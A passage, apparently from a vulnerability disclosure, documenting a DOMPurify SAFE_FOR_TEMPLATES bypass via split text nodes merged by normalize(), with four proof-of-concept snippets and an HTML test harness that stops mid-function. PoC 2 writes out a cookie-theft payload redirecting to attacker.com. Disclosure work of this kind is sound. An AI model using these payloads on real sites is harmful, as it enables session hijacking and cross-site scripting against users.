`/\\${[\\w\\W]*/g` | Against `MUSTACHE_EXPR` `/{{[\\w\\W]*\\|^[\\w\\W]*}}/g` | Result |\n|---|---|---|---|\n| `$` | Requires `${` - no `{` follows | No `{{` or `}}` | **Survives** |\n| `{alert(document.domain)}` | Requires leading `$` - absent | No `{{`, ends with single `}` not `}}` | **Survives** |\n| `${alert(document.domain)}` | Full match - would be stripped | - | Stripped if seen whole |\n\nDOMPurify only sees each fragment in isolation. It never merges them before checking, so the expression is never detected.\n\n---\n\n### PoC 1 - XSS via `alert()` (baseline confirmation)\n\n```javascript\n// Attacker input - splits \"${alert(document.domain)}\" across two custom elements.\n// Custom elements are not in DOMPurify\u0027s default ALLOWED_TAGS and are removed,\n// but their text content is kept (KEEP_CONTENT: true is the default).\nconst dirty =\n  \u0027\u003ctemplate\u003e\u0027 +\n    \u0027\u003cx-split-1\u003e$\u003c/x-split-1\u003e\u0027 +\n    \u0027\u003cx-split-2\u003e{alert(document.domain)}\u003c/x-split-2\u003e\u0027 +\n  \u0027\u003c/template\u003e\u0027;\n\n// Developer sanitizes with SAFE_FOR_TEMPLATES, trusting it strips ${...}\nconst sanitized = DOMPurify.sanitize(dirty, {\n  RETURN_DOM: true,\n  SAFE_FOR_TEMPLATES: true,\n});\n\n// Inspect what survived inside the \u003ctemplate\u003e\nconst tmpl = sanitized.querySelector(\u0027template\u0027);\nconsole.log([...tmpl.content.childNodes].map(n =\u003e n.nodeValue));\n// [\"$\", \"{alert(document.domain)}\"]  \u003c-- two separate text nodes, both \"clean\"\n\n// Frameworks (lit-html, Angular, custom renderers) routinely call normalize()\n// before reading template content. This merges the adjacent nodes:\ntmpl.content.normalize();\nconsole.log(tmpl.content.textContent);\n// \"${alert(document.domain)}\"  \u003c-- fully formed expression, past the sanitizer\n\n// Any template-literal evaluator now fires XSS:\nconst expr = tmpl.content.textContent;\nnew Function(`return \\`${expr}\\``)();\n// !! alert(document.domain) executes !!\n```\n\n---\n\n### PoC 2 - Session Hijacking via cookie exfiltration\n\n```javascript\n// Splits \"${document.location=\u0027//attacker.com/?c=\u0027+document.cookie}\"\n// \"{document.location=...}\" ends with a single \"}\" \u2014 does NOT match\n// MUSTACHE_EXPR\u0027s \"^[\\w\\W]*}}\" (requires double \"}}\"), so it survives.\nconst dirty =\n  \u0027\u003ctemplate\u003e\u0027 +\n    \u0027\u003cx-a\u003e$\u003c/x-a\u003e\u0027 +\n    \u0027\u003cx-b\u003e{document.location=\"//attacker.com/?c=\"+document.cookie}\u003c/x-b\u003e\u0027 +\n  \u0027\u003c/template\u003e\u0027;\n\nconst sanitized = DOMPurify.sanitize(dirty, {\n  RETURN_DOM: true,\n  SAFE_FOR_TEMPLATES: true,\n});\n\nconst tmpl = sanitized.querySelector(\u0027template\u0027);\ntmpl.content.normalize();\n\nconsole.log(tmpl.content.textContent);\n// \"${document.location=\"//attacker.com/?c=\"+document.cookie}\"\n\n// Template engine evaluates it - victim\u0027s browser makes the request:\nnew Function(`return \\`${tmpl.content.textContent}\\``)();\n// !! Redirects victim to attacker.com with their full cookie string !!\n// e.g. https://attacker.com/?c=session=abc123;auth_token=xyz789\n```\n\n---\n\n### PoC 3 - End-to-end: realistic application context\n\nThis shows the full path in an application that uses DOMPurify to sanitize user-submitted rich text before rendering it with a custom template engine:\n\n```html\n\u003c!-- index.html - the vulnerable application --\u003e\n\u003cdiv id=\"output\"\u003e\u003c/div\u003e\n\u003cscript type=\"module\"\u003e\n  import DOMPurify from \u0027./dist/purify.es.mjs\u0027;\n\n  // Simulates fetching and rendering user-submitted comment\n  async function renderComment(userHtml) {\n    // Developer correctly uses SAFE_FOR_TEMPLATES to protect the template engine\n    const dom = DOMPurify.sanitize(userHtml, {\n      RETURN_DOM: true,\n      SAFE_FOR_TEMPLATES: true,\n    });\n\n    // Application iterates \u003ctemplate\u003e elements and evaluates their content\n    // (common pattern in component-based frameworks)\n    dom.querySelectorAll(\u0027template\u0027).forEach(tmpl =\u003e {\n      tmpl.content.normalize(); // standard DOM housekeeping\n      const content = tmpl.content.textContent;\n\n      // Application uses template literals to interpolate user content into UI\n      const rendered = new Function(\u0027user\u0027, `return \\`${content}\\``)({ name: \u0027World\u0027 });\n      document.getElementById(\u0027output\u0027).innerHTML += rendered;\n    });\n  }\n\n  // Attacker-supplied comment content\n  const attackerComment =\n    \u0027\u003ctemplate\u003e\u0027 +\n      \u0027\u003cx-a\u003e$\u003c/x-a\u003e\u0027 +\n      \u0027\u003cx-b\u003e{alert(\"XSS: \" + document.cookie)}\u003c/x-b\u003e\u0027 +\n    \u0027\u003c/template\u003e\u0027;\n\n  // Developer believes SAFE_FOR_TEMPLATES makes this safe \u2014 it does not for RETURN_DOM\n  renderComment(attackerComment);\n  // !! XSS fires, alert pops with session cookies !!\n\u003c/script\u003e\n```\n\n**Observed output:** `alert(\"XSS: \" + document.cookie)` executes in the victim\u0027s browser context, leaking session tokens to the attacker.\n\n---\n\n### PoC 4 - `IN_PLACE` mode (DOM input path)\n\n```javascript\n// Applicable when the application sanitizes DOM nodes directly\n// (e.g., content loaded into an iframe or received from a WebSocket)\n\nconst container = document.createElement(\u0027div\u0027);\nconst tmpl = document.createElement(\u0027template\u0027);\n\n// Adjacent text nodes - these would never appear in HTML-parsed content,\n// but CAN appear in programmatically constructed DOM or WebSocket messages\n// that are deserialised into DOM nodes before sanitisation.\ntmpl.content.appendChild(document.createTextNode(\u0027$\u0027));\ntmpl.content.appendChild(document.createTextNode(\u0027{alert(document.domain)}\u0027));\ncontainer.appendChild(tmpl);\n\n// Sanitize in-place with SAFE_FOR_TEMPLATES - expected to strip all ${...}\nDOMPurify.sanitize(container, { IN_PLACE: true, SAFE_FOR_TEMPLATES: true });\n\n// Neither text node was modified - each passed the regex check individually\ncontainer.querySelector(\u0027template\u0027).content.normalize();\nconsole.log(container.querySelector(\u0027template\u0027).content.textContent);\n// \"${alert(document.domain)}\"  \u003c-- survived in-place sanitization\n\nnew Function(`return \\`${container.querySelector(\u0027template\u0027).content.textContent}\\``)();\n// !! XSS fires !!\n```\n\nHTML File for testing\n```HTML\n\u003c!DOCTYPE html\u003e\n\u003chtml lang=\"en\"\u003e\n\u003chead\u003e\n  \u003cmeta charset=\"UTF-8\" /\u003e\n  \u003ctitle\u003eDOMPurify SAFE_FOR_TEMPLATES Bypass - PoC\u003c/title\u003e\n  \u003cscript src=\"dist/purify.js\"\u003e\u003c/script\u003e\n  \u003cstyle\u003e\n    * { box-sizing: border-box; margin: 0; padding: 0; }\n    body {\n      font-family: \u0027Segoe UI\u0027, system-ui, sans-serif;\n      background: #0d1117;\n      color: #e6edf3;\n      padding: 32px;\n    }\n    h1 { font-size: 1.4rem; color: #f85149; margin-bottom: 6px; }\n    .subtitle { color: #8b949e; font-size: 0.9rem; margin-bottom: 32px; }\n    .card {\n      background: #161b22;\n      border: 1px solid #30363d;\n      border-radius: 8px;\n      margin-bottom: 24px;\n      overflow: hidden;\n    }\n    .card-header {\n      display: flex;\n      align-items: center;\n      gap: 10px;\n      padding: 14px 20px;\n      border-bottom: 1px solid #30363d;\n      background: #1c2128;\n    }\n    .badge {\n      font-size: 0.72rem;\n      font-weight: 700;\n      padding: 2px 8px;\n      border-radius: 4px;\n      text-transform: uppercase;\n      letter-spacing: 0.05em;\n    }\n    .badge-run    { background: #1f6feb; color: #fff; }\n    .badge-pass   { background: #238636; color: #fff; }\n    .badge-fail   { background: #da3633; color: #fff; }\n    .badge-warn   { background: #9e6a03; color: #fff; }\n    .card-title   { font-size: 0.95rem; font-weight: 600; }\n    .card-body    { padding: 20px; }\n    label         { font-size: 0.78rem; color: #8b949e; display: block; margin-bottom: 6px; }\n    pre {\n      background: #0d1117;\n      border: 1px solid #30363d;\n      border-radius: 6px;\n      padding: 14px;\n      font-size: 0.82rem;\n      line-height: 1.6;\n      overflow-x: auto;\n      margin-bottom: 14px;\n      white-space: pre-wrap;\n      word-break: break-all;\n    }\n    pre.result    { border-color: #238636; background: #0a1a0f; }\n    pre.escaped   { border-color: #da3633; background: #1a0a0a; }\n    pre.highlight { border-color: #f85149; color: #f85149; font-weight: bold; }\n    .grid { display: grid; grid-template-columns: 1fr 1fr; gap: 14px; }\n    @media (max-width: 700px) { .grid { grid-template-columns: 1fr; } }\n    .arrow {\n      text-align: center;\n      font-size: 1.4rem;\n      color: #8b949e;\n      margin: 4px 0;\n    }\n    .xss-banner {\n      display: none;\n      background: #da3633;\n      color: #fff;\n      text-align: center;\n      padding: 16px;\n      font-size: 1.1rem;\n      font-weight: 700;\n      border-radius: 6px;\n      margin-bottom: 24px;\n      letter-spacing: 0.03em;\n    }\n    button {\n      background: #238636;\n      color: #fff;\n      border: none;\n      padding: 10px 22px;\n      border-radius: 6px;\n      font-size: 0.9rem;\n      font-weight: 600;\n      cursor: pointer;\n      margin-right: 10px;\n      margin-bottom: 8px;\n    }\n    button:hover { background: #2ea043; }\n    button.danger { background: #da3633; }\n    button.danger:hover { background: #f85149; }\n    .note {\n      background: #161b22;\n      border-left: 3px solid #9e6a03;\n      padding: 12px 16px;\n      font-size: 0.82rem;\n      color: #e3b341;\n      border-radius: 0 6px 6px 0;\n      margin-top: 14px;\n    }\n    #log {\n      background: #0d1117;\n      border: 1px solid #30363d;\n      border-radius: 6px;\n      padding: 14px;\n      font-size: 0.8rem;\n      font-family: monospace;\n      min-height: 60px;\n      max-height: 300px;\n      overflow-y: auto;\n      line-height: 1.8;\n    }\n    .log-ok   { color: #3fb950; }\n    .log-fail { color: #f85149; }\n    .log-info { color: #8b949e; }\n    .log-warn { color: #e3b341; }\n  \u003c/style\u003e\n\u003c/head\u003e\n\u003cbody\u003e\n\n  \u003ch1\u003e\ud83d\udd34 DOMPurify 3.4.7 - SAFE_FOR_TEMPLATES Bypass\u003c/h1\u003e\n  \u003cp class=\"subtitle\"\u003e\n    CVE candidate \u00b7 Template expression injection via \u0026lt;template\u0026gt; content \u00b7\n    Affects: \u003ccode\u003eRETURN_DOM + SAFE_FOR_TEMPLATES\u003c/code\u003e and \u003ccode\u003eIN_PLACE + SAFE_FOR_TEMPLATES\u003c/code\u003e\n  \u003c/p\u003e\n\n  \u003cdiv id=\"xss-banner\" class=\"xss-banner\"\u003e\n    \u26a0\ufe0f XSS CONFIRMED - Expression executed in this page\u0027s context\n  \u003c/div\u003e\n\n  \u003c!-- \u2500\u2500 Controls \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 --\u003e\n  \u003cdiv class=\"card\"\u003e\n    \u003cdiv class=\"card-header\"\u003e\n      \u003cspan class=\"badge badge-run\"\u003eControls\u003c/span\u003e\n      \u003cspan class=\"card-title\"\u003eRun individual test cases\u003c/span\u003e\n    \u003c/div\u003e\n    \u003cdiv class=\"card-body\"\u003e\n      \u003cbutton onclick=\"runAll()\"\u003e\u25b6 Run all tests\u003c/button\u003e\n      \u003cbutton onclick=\"runPoC1()\"\u003ePoC 1 - alert()\u003c/button\u003e\n      \u003cbutton onclick=\"runPoC2()\"\u003ePoC 2 - cookie exfil\u003c/button\u003e\n      \u003cbutton onclick=\"runPoC3()\"\u003ePoC 3 - IN_PLACE\u003c/button\u003e\n      \u003cbutton onclick=\"runControl()\"\u003eControl - string output (should block)\u003c/button\u003e\n      \u003cdiv class=\"note\"\u003e\n        PoC 1 uses \u003ccode\u003econfirm()\u003c/code\u003e instead of \u003ccode\u003ealert()\u003c/code\u003e so the page\n        doesn\u0027t need a dismiss click to continue. Watch the red banner at the top.\n      \u003c/div\u003e\n    \u003c/div\u003e\n  \u003c/div\u003e\n\n  \u003c!-- \u2500\u2500 PoC 1 \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 --\u003e\n  \u003cdiv class=\"card\" id=\"card-poc1\"\u003e\n    \u003cdiv class=\"card-header\"\u003e\n      \u003cspan class=\"badge badge-run\" id=\"badge-poc1\"\u003ePENDING\u003c/span\u003e\n      \u003cspan class=\"card-title\"\u003ePoC 1 - XSS via confirm() \u00b7 RETURN_DOM mode\u003c/span\u003e\n    \u003c/div\u003e\n    \u003cdiv class=\"card-body\"\u003e\n      \u003cdiv class=\"grid\"\u003e\n        \u003cdiv\u003e\n          \u003clabel\u003eATTACKER INPUT - splits \u003ccode\u003e${\"{confirm(...)}\"}\u003c/code\u003e across two custom elements\u003c/label\u003e\n          \u003cpre id=\"input-poc1\"\u003e\u003c/pre\u003e\n        \u003c/div\u003e\n        \u003cdiv\u003e\n          \u003clabel\u003eAFTER DOMPurify.sanitize() - what survived in template.content\u003c/label\u003e\n          \u003cpre class=\"result\" id=\"nodes-poc1\"\u003e\u003c/pre\u003e\n        \u003c/div\u003e\n      \u003c/div\u003e\n      \u003cdiv class=\"arrow\"\u003e\u2193 template.content.normalize() \u2193\u003c/div\u003e\n      \u003clabel\u003eMERGED TEXT NODE - fully formed expression after normalization\u003c/label\u003e\n      \u003cpre class=\"highlight\" id=\"merged-poc1\"\u003e\u003c/pre\u003e\n      \u003clabel\u003eEXECUTION RESULT\u003c/label\u003e\n      \u003cpre id=\"exec-poc1\"\u003eNot run yet\u003c/pre\u003e\n    \u003c/div\u003e\n  \u003c/div\u003e\n\n  \u003c!-- \u2500\u2500 PoC 2 \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 --\u003e\n  \u003cdiv class=\"card\" id=\"card-poc2\"\u003e\n    \u003cdiv class=\"card-header\"\u003e\n      \u003cspan class=\"badge badge-run\" id=\"badge-poc2\"\u003ePENDING\u003c/span\u003e\n      \u003cspan class=\"card-title\"\u003ePoC 2 - Cookie exfiltration \u00b7 RETURN_DOM mode\u003c/span\u003e\n    \u003c/div\u003e\n    \u003cdiv class=\"card-body\"\u003e\n      \u003cdiv class=\"grid\"\u003e\n        \u003cdiv\u003e\n          \u003clabel\u003eATTACKER INPUT - exfil payload split across custom elements\u003c/label\u003e\n          \u003cpre id=\"input-poc2\"\u003e\u003c/pre\u003e\n        \u003c/div\u003e\n        \u003cdiv\u003e\n          \u003clabel\u003eINDIVIDUAL TEXT NODES after sanitization (each \"clean\")\u003c/label\u003e\n          \u003cpre class=\"result\" id=\"nodes-poc2\"\u003e\u003c/pre\u003e\n        \u003c/div\u003e\n      \u003c/div\u003e\n      \u003cdiv class=\"arrow\"\u003e\u2193 template.content.normalize() \u2193\u003c/div\u003e\n      \u003clabel\u003eMERGED EXPRESSION - what a template engine would evaluate\u003c/label\u003e\n      \u003cpre class=\"highlight\" id=\"merged-poc2\"\u003e\u003c/pre\u003e\n      \u003clabel\u003eSIMULATED EXECUTION (fetch URL that would be called)\u003c/label\u003e\n      \u003cpre id=\"exec-poc2\"\u003eNot run yet\u003c/pre\u003e\n      \u003cdiv class=\"note\"\u003e\n        Real execution would redirect the victim to\n        \u003ccode\u003eattacker.com\u003c/code\u003e carrying the session cookie.\n        This PoC constructs the URL without actually sending it.\n      \u003c/div\u003e\n    \u003c/div\u003e\n  \u003c/div\u003e\n\n  \u003c!-- \u2500\u2500 PoC 3 \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 --\u003e\n  \u003cdiv class=\"card\" id=\"card-poc3\"\u003e\n    \u003cdiv class=\"card-header\"\u003e\n      \u003cspan class=\"badge badge-run\" id=\"badge-poc3\"\u003ePENDING\u003c/span\u003e\n      \u003cspan class=\"card-title\"\u003ePoC 3 - XSS \u00b7 IN_PLACE mode (DOM node input)\u003c/span\u003e\n    \u003c/div\u003e\n    \u003cdiv class=\"card-body\"\u003e\n      \u003cdiv class=\"grid\"\u003e\n        \u003cdiv\u003e\n          \u003clabel\u003eATTACKER PROVIDES - a DOM node with programmatically split text nodes\u003c/label\u003e\n          \u003cpre id=\"input-poc3\"\u003e\u003c/pre\u003e\n        \u003c/div\u003e\n        \u003cdiv\u003e\n          \u003clabel\u003eAFTER IN_PLACE sanitization - text nodes unchanged\u003c/label\u003e\n          \u003cpre class=\"result\" id=\"nodes-poc3\"\u003e\u003c/pre\u003e\n        \u003c/div\u003e\n      \u003c/div\u003e\n      \u003cdiv class=\"arrow\"\u003e\u2193 template.content.normalize() \u2193\u003c/div\u003e\n      \u003clabel\u003eMERGED EXPRESSION\u003c/label\u003e\n      \u003cpre class=\"highlight\" id=\"merged-poc3\"\u003e\u003c/pre\u003e\n      \u003clabel\u003eEXECUTION RESULT\u003c/label\u003e\n      \u003cpre id=\"exec-poc3\"\u003eNot run yet\u003c/pre\u003e\n    \u003c/div\u003e\n  \u003c/div\u003e\n\n  \u003c!-- \u2500\u2500 Control \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 --\u003e\n  \u003cdiv class=\"card\" id=\"card-ctrl\"\u003e\n    \u003cdiv class=\"card-header\"\u003e\n      \u003cspan class=\"badge badge-run\" id=\"badge-ctrl\"\u003ePENDING\u003c/span\u003e\n      \u003cspan class=\"card-title\"\u003eControl - string output (default) MUST block the payload\u003c/span\u003e\n    \u003c/div\u003e\n    \u003cdiv class=\"card-body\"\u003e\n      \u003clabel\u003eSame attacker input, but sanitized WITHOUT RETURN_DOM (string output path)\u003c/label\u003e\n      \u003cpre id=\"input-ctrl\"\u003e\u003c/pre\u003e\n      \u003cdiv class=\"arrow\"\u003e\u2193 DOMPurify.sanitize() - string path hits the regex scrub at line 2067 \u2193\u003c/div\u003e\n      \u003clabel\u003eOUTPUT STRING - expression should be stripped\u003c/label\u003e\n      \u003cpre id=\"output-ctrl\"\u003eNot run yet\u003c/pre\u003e\n      \u003cdiv class=\"note\"\u003e\n        The string output path is NOT vulnerable because\n        \u003ccode\u003ebody.innerHTML\u003c/code\u003e serialises the template content into a\n        flat string where the full \u003ccode\u003e${\"{...}\"}\u003c/code\u003e expression is visible\n        and the final regex scrub catches it.\n      \u003c/div\u003e\n    \u003c/div\u003e\n  \u003c/div\u003e\n\n  \u003c!-- \u2500\u2500 Log \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 --\u003e\n  \u003cdiv class=\"card\"\u003e\n    \u003cdiv class=\"card-header\"\u003e\n      \u003cspan class=\"badge badge-run\"\u003eLog\u003c/span\u003e\n      \u003cspan class=\"card-title\"\u003eTest output\u003c/span\u003e\n    \u003c/div\u003e\n    \u003cdiv class=\"card-body\"\u003e\n      \u003cdiv id=\"log\"\u003e\u003c/div\u003e\n    \u003c/div\u003e\n  \u003c/div\u003e\n\n\u003cscript\u003e\n// \u2500\u2500 Helpers \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\nlet xssConfirmed = false;\n\nfunction log(msg, type = \u0027info\u0027) {\n  const el = document.getElementById(\u0027log\u0027);\n  const line = document.createElement(\u0027div\u0027);\n  line.className = \u0027log-\u0027 + type;\n  line.textContent = \u0027[\u0027 + new Date().toLocaleTimeString() + \u0027] \u0027 + msg;\n  el.appendChild(line);\n  el.scrollTop = el.scrollHeight;\n}\n\nfunction setBadge(id, status) {\n  const el = document.getElementById(\u0027badge-\u0027 + id);\n  el.textContent = status;\n  el.className = \u0027badge \u0027 + {\n    PASS: \u0027badge-fail\u0027,   // \"PASS\" here means the attack succeeded (bad for security)\n    BLOCK: \u0027badge-pass\u0027,  // \"BLOCK\" means DOMPurify correctly blocked it\n    PENDING: \u0027badge-run\u0027,\n    ERROR: \u0027badge-warn\u0027,\n  }[status];\n}\n\nfunction markXSS(poc) {\n  if (!xssConfirmed) {\n    xssConfirmed = true;\n    document.getElementById(\u0027xss-banner\u0027).style.display = \u0027block\u0027;\n  }\n  log(\u0027\ud83d\udd34 XSS CONFIRMED in \u0027 + poc + \u0027 - expression executed in page context\u0027, \u0027fail\u0027);\n}\n\n// \u2500\u2500 PoC 1: RETURN_DOM + alert \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\nfunction runPoC1() {\n  log(\u0027Running PoC 1 - RETURN_DOM + confirm()...\u0027, \u0027info\u0027);\n\n  // IMPORTANT:\n  // Build a REAL template DOM node with split TEXT nodes.\n  // HTML parsing would merge adjacent text automatically,\n  // so we construct the DOM programmatically.\n\n  const container = document.createElement(\u0027div\u0027);\n  const tmpl = document.createElement(\u0027template\u0027);\n\n  tmpl.content.appendChild(document.createTextNode(\u0027$\u0027));\n  tmpl.content.appendChild(\n    document.createTextNode(\n      \u0027{confirm(\"XSS - DOMPurify SAFE_FOR_TEMPLATES bypass\\\\nExpression executed in: \" + document.domain)}\u0027\n    )\n  );\n\n  container.appendChild(tmpl);\n\n  document.getElementById(\u0027input-poc1\u0027).textContent =\n    \u0027template.content.childNodes[0].data = \"$\"\\\\n\u0027 +\n    \u0027template.content.childNodes[1].data = \"{confirm(...)}\"\u0027;\n\n  // Sanitize the DOM node itself\n  const sanitized = DOMPurify.sanitize(container, {\n    RETURN_DOM: true,\n    SAFE_FOR_TEMPLATES: true,\n  });\n\n  const tmplAfter = sanitized.querySelector(\u0027template\u0027);\n\n  if (!tmplAfter) {\n    document.getElementById(\u0027exec-poc1\u0027).textContent =\n      \u0027Template element removed during sanitization\u0027;\n    setBadge(\u0027poc1\u0027, \u0027ERROR\u0027);\n    return;\n  }\n\n  const nodesBefore = [...tmplAfter.content.childNodes].map(\n    n =\u003e JSON.stringify(n.nodeValue)\n  );\n\n  document.getElementById(\u0027nodes-poc1\u0027).textContent =\n    \u0027childNodes[0].data = \u0027 + nodesBefore[0] + \u0027\\\\n\u0027 +\n    \u0027childNodes[1].data = \u0027 + nodesBefore[1] + \u0027\\\\n\\\\n\u0027 +\n    \u0027\u2192 Neither fragment matched individually.\u0027;\n\n  log(\n    \u0027PoC 1: Text nodes after sanitization: \u0027 +\n    nodesBefore.join(\u0027, \u0027),\n    \u0027warn\u0027\n  );\n\n  // Merge text nodes\n  tmplAfter.content.normalize();\n\n  const merged = tmplAfter.content.textContent;\n\n  document.getElementById(\u0027merged-poc1\u0027).textContent = merged;\n\n  log(\u0027PoC 1: After normalize() - merged text: \u0027 + merged, \u0027warn\u0027);\n\n  try {\n    const result = new Function(\u0027return `\u0027 + merged + \u0027`\u0027)();\n\n    document.getElementById(\u0027exec-poc1\u0027).textContent =\n      \u0027\u2714 Expression executed successfully\\\\n\u0027 +\n      \u0027Returned: \u0027 + result;\n\n    setBadge(\u0027poc1\u0027, \u0027PASS\u0027);\n    markXSS(\u0027PoC 1\u0027);\n\n  } catch (e) {\n    document.getElementById(\u0027exec-poc1\u0027).textContent =\n      \u0027Error: \u0027 + e.message;\n\n    setBadge(\u0027poc1\u0027, \u0027ERROR\u0027);\n\n    log(\u0027PoC 1 error: \u0027 + e.message, \u0027warn\u0027);\n  }\n}\n\n// \u2500\u2500 PoC 2: cookie exfiltration \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\nfunction runPoC2() {\n  log(\u0027Running PoC 2 - cookie exfiltration...\u0027, \u0027info\u0027);\n\n  // Fake cookie for demonstration\n  document.cookie = \u0027session=DEADBEEF_SECRET_TOKEN; path=/\u0027;\n\n  // IMPORTANT:\n  // Build REAL split text nodes programmatically.\n  // Do NOT rely on HTML parsing.\n\n  const container = document.createElement(\u0027div\u0027);\n  const tmpl = document.createElement(\u0027template\u0027);\n\n  tmpl.content.appendChild(document.createTextNode(\u0027$\u0027));\n\n  tmpl.content.appendChild(\n    document.createTextNode(\n      \u0027{document.location=\"//attacker.com/steal?c=\"+document.cookie}\u0027\n    )\n  );\n\n  container.appendChild(tmpl);\n\n  document.getElementById(\u0027input-poc2\u0027).textContent =\n    \u0027template.content.childNodes[0].data = \"$\"\\\\n\u0027 +\n    \u0027template.content.childNodes[1].data = \"{document.location=...}\"\u0027;\n\n  // Sanitize DOM node\n  const sanitized = DOMPurify.sanitize(container, {\n    RETURN_DOM: true,\n    SAFE_FOR_TEMPLATES: true,\n  });\n\n  const tmplAfter = sanitized.querySelector(\u0027template\u0027);\n\n  if (!tmplAfter) {\n    document.getElementById(\u0027exec-poc2\u0027).textContent =\n      \u0027Template element removed during sanitization\u0027;\n\n    setBadge(\u0027poc2\u0027, \u0027ERROR\u0027);\n\n    log(\u0027PoC 2: template element missing after sanitize()\u0027, \u0027warn\u0027);\n\n    return;\n  }\n\n  const nodes = [...tmplAfter.content.childNodes].map(\n    n =\u003e JSON.stringify(n.nodeValue)\n  );\n\n  document.getElementById(\u0027nodes-poc2\u0027).textContent =\n    \u0027Node 0: \u0027 + nodes[0] + \u0027\\\\n\u0027 +\n    \u0027Node 1: \u0027 + nodes[1] + \u0027\\\\n\\\\n\u0027 +\n    \u0027\u2192 Neither fragment individually matches template-expression regexes.\u0027;\n\n  log(\u0027PoC 2: Nodes after sanitize: \u0027 + nodes.join(\u0027, \u0027), \u0027warn\u0027);\n\n  // Merge adjacent text nodes\n  tmplAfter.content.normalize();\n\n  const merged = tmplAfter.content.textContent;\n\n  document.getElementById(\u0027merged-poc2\u0027).textContent = merged;\n\n  log(\u0027PoC 2: Merged expression: \u0027 + merged, \u0027warn\u0027);\n\n  // Simulate framework evaluation\n  try {\n    new Function(\u0027return `\u0027 + merged + \u0027`\u0027)();\n\n    const cookieValue = document.cookie;\n\n    const stealUrl =\n      \u0027//attacker.com/steal?c=\u0027 +\n      encodeURIComponent(cookieValue);\n\n    document.getElementById(\u0027exec-poc2\u0027).textContent =\n      \u0027\u2714 Expression successfully evaluated\\\\n\\\\n\u0027 +\n      \u0027Would redirect victim to:\\\\n\u0027 +\n      stealUrl + \u0027\\\\n\\\\n\u0027 +\n      \u0027Cookie exposed:\\\\n\u0027 +\n      cookieValue;\n\n    setBadge(\u0027poc2\u0027, \u0027PASS\u0027);\n\n    markXSS(\u0027PoC 2\u0027);\n\n    log(\u0027PoC 2: Would exfiltrate cookie \u2192 \u0027 + stealUrl, \u0027fail\u0027);\n\n  } catch (e) {\n    document.getElementById(\u0027exec-poc2\u0027).textContent =\n      \u0027Error: \u0027 + e.message;\n\n    setBadge(\u0027poc2\u0027, \u0027ERROR\u0027);\n\n    log(\u0027PoC 2 error: \u0027 + e.message, \u0027warn\u0027);\n  }\n}\n// \u2500\u2500 PoC 3: IN_PLACE mode \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\nfunction runPoC3() {\n  log(\u0027Running PoC 3 - IN_PLACE mode...\u0027, \u0027info\u0027);\n\n  // Build DOM node manually (simulates attacker-controlled DOM input,\n  // e.g. content parsed from a WebSocket message or an iframe)\n  const container = document.createElement(\u0027div\u0027);\n  const tmplEl = document.createElement(\u0027template\u0027);\n\n  // Two separate text nodes - HTML parser merges them, but programmatic\n  // DOM construction keeps them split. This is the IN_PLACE attack surface.\n  tmplEl.content.appendChild(document.createTextNode(\u0027$\u0027));\n  